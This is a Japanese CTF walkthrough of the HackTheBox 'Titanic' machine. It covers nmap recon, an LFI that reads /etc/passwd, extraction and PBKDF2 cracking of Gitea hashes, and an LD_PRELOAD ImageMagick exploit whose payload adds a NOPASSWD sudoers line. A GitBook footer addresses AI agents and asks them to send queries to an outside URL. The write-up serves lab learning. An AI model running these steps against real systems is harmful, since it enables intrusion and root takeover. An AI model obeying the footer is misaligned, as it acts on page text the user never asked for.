> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md). # Titanic HackTheBox攻略記事ローカルファイル包含（LFI）、Giteaデータベース抽出、ImageMagickの悪用（権限昇格）を扱うTitanic HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵入、足 {% embed url="" %} {% hint style="warning" %} **スキル:** * **ローカルファイルインクルージョン（LFI）** * **Giteaデータベース抽出** * **ImageMagickの悪用（権限昇格）** {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.55 -oG allPorts ```

**extractPorts による開いているポートの分析:** extractPorts 関数を使用して開いているポートを簡潔な形式で表示し、クリップボードにコピーする（22.80） ```bash nmap -sCV -p22,80 10.10.11.55 -oN targeted ```

次に、IPを私たちの `/etc/hosts` ファイル：

### ポート80（HTTP）をスキャン中 ####

### ポート80（HTTP）をスキャン中 #### 技術の検出次の `wappalyzer`、このサイトが使用していることが分かります **FlaskとPython**

## ローカルファイルインクルージョン（LFI）

このサイトには旅行を注文するオプションがあり、JSONファイルが返されます。

リクエストを傍受することで **Burp Suite**、次のものに気づきます `download` ファイルへのアクセスを許可するパラメータがあります:

```bash /download?ticket=9bff28d2-2f3a-4e5d-8879-576eb1dadf8b.json ``` ファイルインクルージョンを試します: ``` /download?ticket=/etc/passwd ```

次の `curl`: ``` curl -s --path-as-is http://titanic.htb/download?ticket=/etc/passwd ``` 以下を含むシステムユーザーを取得します: **developer**.

### サブドメインのファジング次のツールでサブドメインを検索します **Gobuster**: ```bash gobuster vhost -u http://titanic.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -r ```

次を発見します **dev.titanic.htb**、これを追加します `/etc/hosts`.

## Giteaの悪用で **dev** サブドメインで、次を見つけます **Gitea** インスタンス。

#### ユーザーの作成

データベースに平文で保存されたパスワードを見つけます:

GiteaのSQLiteデータベースを調査していると、そのパスを見つけます:

`/home/developer/gitea/data/gitea/gitea.db`

そこに接続します: ```sql sqlite3 gitea.db .tables ```

次に、パスワードハッシュを抽出します: ```sql SELECT lower_name, passwd, salt FROM user; ```

### ソルト付きハッシュのブルートフォース #### ハッシュ: ``` e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34 ``` #### ソルト: ``` b8dc26d526439f6f2f4523fa8ea522a2 ``` ハッシュを解析するためにPythonスクリプトを使います: ```python import hashlib import binascii def pbkdf2_hash(password, salt, iterations=50000, dklen=50): hash_value = hashlib.pbkdf2_hmac( 'sha256', password.encode('utf-8'), salt, iterations, dklen ) return hash_value def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50): target_hash_bytes = binascii.unhexlify(target_hash) with open(dictionary_file, 'r', encoding='utf-8') as file: count = 0 for line in file: password = line.strip() hash_value = pbkdf2_hash(password, salt, iterations, dklen) count += 1 print(f"Count: {count}: {password}") if hash_value == target_hash_bytes: print(f"/nFound password: {password}") return password print("Password not found.") return None salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34') target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56' dictionary_file = '/usr/share/wordlists/rockyou.txt' find_matching_password(dictionary_file, target_hash, salt) ``` #### - 見つかったパスワードは **25282528**.

SSHで接続します: ```bash ssh developer@ticanic.htb ```

### フラグ user.txt :)

## 権限昇格 ### Cronジョブ - ImageMagickの悪用〜では `/opt/`、スクリプトを見つけます `script.sh` 自動的に実行される

```bash cd /opt/app/static/assets/images truncate -s 0 metadata.log find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log ``` > このシェルスクリプトは最初に次の場所へ移動します `/opt/app/static/assets/images` フォルダへ移動し、次に次の内容を出力します `metadata.log` ファイル（存在する場合）。その後、すべての `.jpg` そのディレクトリ内のファイルを検索し、ImageMagickの `identify` コマンドを使ってメタデータ（サイズ、形式、色深度など）を抽出します。この情報は次に `metadata.log`に保存されます。したがって、このスクリプトは、指定したフォルダにあるすべてのJPG画像について更新されたメタデータファイルを生成できます。このスクリプトは **ImageMagick**という脆弱なバージョンを使用しています。 ```bash magicks --version ```

### 〜を介した悪用 `LD_PRELOAD` 次のものを作成します `a.c` ファイル： ```c #include #include #include #include void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers"); } ``` コンパイル: ```bash gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles ```

それを、監視され実行可能なディレクトリに追加します `ImageMagick`。次に、次を実行します: ```bash su root ```

### root.txt フラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.